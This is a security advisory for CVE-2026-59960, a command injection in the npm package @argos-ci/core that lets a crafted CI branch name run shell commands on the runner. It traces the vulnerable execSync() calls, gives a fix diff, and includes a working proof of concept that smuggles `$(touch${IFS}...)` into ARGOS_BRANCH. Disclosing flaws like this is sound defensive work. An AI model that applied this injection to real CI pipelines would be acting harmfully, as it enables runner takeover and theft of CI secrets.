GitHub Advisoryadvisory · npm
GHSA-4x45-gxvp-6283 @argos-ci/core: CI Branch Name OS Command Injection
HIGH
Official page ↗
- Aliases
- CVE-2026-59960
- Ecosystem
- npm
- Packages
- @argos-ci/core
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-78
- Reviewed
- 2026-09-10
Affected packages
• npm @argos-ci/core: < 6.2.1 → fixed in 6.2.1
Description
CI Branch Name OS Command Injection in @argos-ci/core
Summary
`@argos-ci/[email protected]` passes attacker-controlled CI branch/ref strings directly into an `execSync()` template literal in `packages/core/src/ci-environment/git.ts:89`. When a CI project has `hasRemoteContentAccess: false`, the Argos upload flow calls `getMergeBaseCommitSha()`, which invokes `gitFetch()` with the unsanitized branch name. Because `execSync()` passes the command string to `/bin/sh -c`, shell metacharacters such as `$()` command substitution are evaluated before `git` runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).
Details
The vulnerable sink is in `packages/core/src/ci-environment/git.ts:87-90`:
```ts
function gitFetch(input: { ref: string; depth: number; target: string }) {
execSync(
`git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
);
}
```
`execSync()` with a template-literal string invokes `/bin/sh -c ""`. The shell expands `$()`, backticks, `;`, and other metacharacters before spawning `git`, so any special characters present in `input.ref` or `input.target` are interpreted as shell instructions.
A secondary sink exists at `packages/core/src/ci-environment/git.ts:67`:
```ts
execSync(`git merge-base ${input.head} ${input.base}`)
```
Complete data flow (source → sink):
1. `packages/core/src/ci-environment/services/github-actions.ts:104` — reads `env.GITHUB_HEAD_REF` without validation (source).
2. `packages/core/src/ci-environment/services/github-actions.ts:165` — returns the branch from the CI context.
3. `packages/core/src/ci-environment/services/github-actions.ts:330` — stores the value as `branch`.
4. `packages/core/src/config.ts:119-123` — loads `ciEnv?.branch` into `config.branch`; only `format: String` is applied, no sanitization.
5. `packages/core/src/upload.ts:285` — calls `getMergeBaseCommitSha({ base, head: config.branch })` when the API returns `hasRemoteContentAccess: false`.
6. `packages/core/src/ci-environment/git.ts:123` — passes attacker-controlled value as `ref` to `gitFetch()`.
7. `packages/core/src/ci-environment/git.ts:89` — sink: `execSync(` git fetch ... origin ${input.ref}:${input.target} `)`.
There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.
Recommended remediation — replace template-literal `execSync` calls with `execFileSync` using argument arrays, which bypass the shell entirely:
```diff
-import { execSync } from "node:child_process";
+import { execFileSync, execSync } from "node:child_process";
function gitFetch(input: { ref: string; depth: number; target: string }) {
• execSync(
• `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
• );
+ execFileSync("git", [
+ "fetch", "--force", "--update-head-ok",
+ "--depth", String(input.depth),
+ "origin", `${input.ref}:${input.target}`,
+ ]);
}
function gitMergeBase(input: { base: string; head: string }) {
• return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();
+ return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();
}
```
PoC
Prerequisites:
• Docker installed on the test machine.
• Internet access to pull `node:22` and install `@argos-ci/[email protected]` from npm.
Step 1 — Build the Docker image:
```bash
docker build -t argos-vuln-001 \
-f /path/to/vuln-001/Dockerfile \
/path/to/reports/npmAI_634_argos-ci__argos-javascript/
```
The `Dockerfile`:
• Uses `node:22` as the base.
• Creates a local bare git repository at `/remote.git` and a working repository at `/git-workspace` with that bare repo as `origin`, so `git fetch` has a reachable remote.
• Installs `@argos-ci/[email protected]` (which depends on `@argos-ci/[email protected]`) globally from the public npm registry.
• Copies `poc.py` as the container entrypoint.
Step 2 — Run the container:
```bash
docker run --rm argos-vuln-001
```
What the PoC (`poc.py`) does:
1. Starts a local HTTP mock server on `127.0.0.1:7777` that returns `{"hasRemoteContentAccess": false}` for `GET /v2/project`, activating the `getMergeBaseCommitSha()` code path.
2. Sets `ARGOS_BRANCH` to `main$(touch${IFS}/tmp/argos-ci-cve-poc)`.
• `$(...)` is shell command substitution.
• `${IFS}` expands to a space character, bypassing naive space-based filters, making the injected command `touch /tmp/argos-ci-cve-poc`.
3. Runs `argos upload --files '*.png'` with the malicious environment.
4. Checks for the marker file `/tmp/argos-ci-cve-poc`.
Expected output:
```
============================================================
[PASS] VULNERABILITY CONFIRMED
[PASS] Marker file exists: /tmp/argos-ci-cve-poc
[PASS] The shell command injected via ARGOS_BRANCH was executed
[PASS] by execSync() inside gitFetch() (git.ts:88-90).
============================================================
```
The marker file is created *before* `git` connects to the remote because the shell evaluates `$()` during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.
Manual reproduction (without Docker):
```bash
mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
git init && git remote add origin https://github.com/argos-ci/argos-javascript.git
Start a minimal mock API server (background)
node -e "
const http = require('http');
http.createServer((req, res) => {
if (req.url === '/v2/project') {
res.writeHead(200, {'content-type':'application/json'});
res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
return;
}
res.writeHead(200, {'content-type':'application/json'});
res.end('{}');
}).listen(7777);
" &
mkdir empty
rm -f /tmp/argos-ci-cve-poc
ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \
ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \
ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \
npx -y @argos-ci/[email protected] upload empty --files '*.png' || true
test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED"
```
Impact
This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the `GITHUB_HEAD_REF` / `ARGOS_BRANCH` environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.
Who is impacted:
• Any organization using `@argos-ci/core` (or the CLI `@argos-ci/cli`) in a CI pipeline where the project's Argos configuration has `hasRemoteContentAccess: false`. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users.
• The risk is highest in `pull_request_target` or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks.
• Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.
Reproduction artifacts
`Dockerfile`
```dockerfile
FROM node:22
Install git and Python 3
RUN apt-get update && \
apt-get install -y --no-install-recommends git python3 && \
rm -rf /var/lib/apt/lists/*
Configure git identity for commits inside the container
RUN git config --global user.email "[email protected]" && \
git config --global user.name "PoC Test" && \
git config --global init.defaultBranch main
Create a local bare repository that acts as the "origin" remote.
This lets git fetch succ…
Related
Alias · CVE (1)
- CVE-2026-59960 Argos JavaScript provides official Argos SDKs for JavaScript. vulnerability
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness
References
- https://github.com/argos-ci/argos-javascript/security/advisories/GHSA-4x45-gxvp-6283 web
- https://github.com/argos-ci/argos-javascript/commit/8355f3af3be3f4fe361d58a688d21535cf672717 web
- https://github.com/argos-ci/argos-javascript package
- https://github.com/argos-ci/argos-javascript/releases/tag/@argos-ci/[email protected] web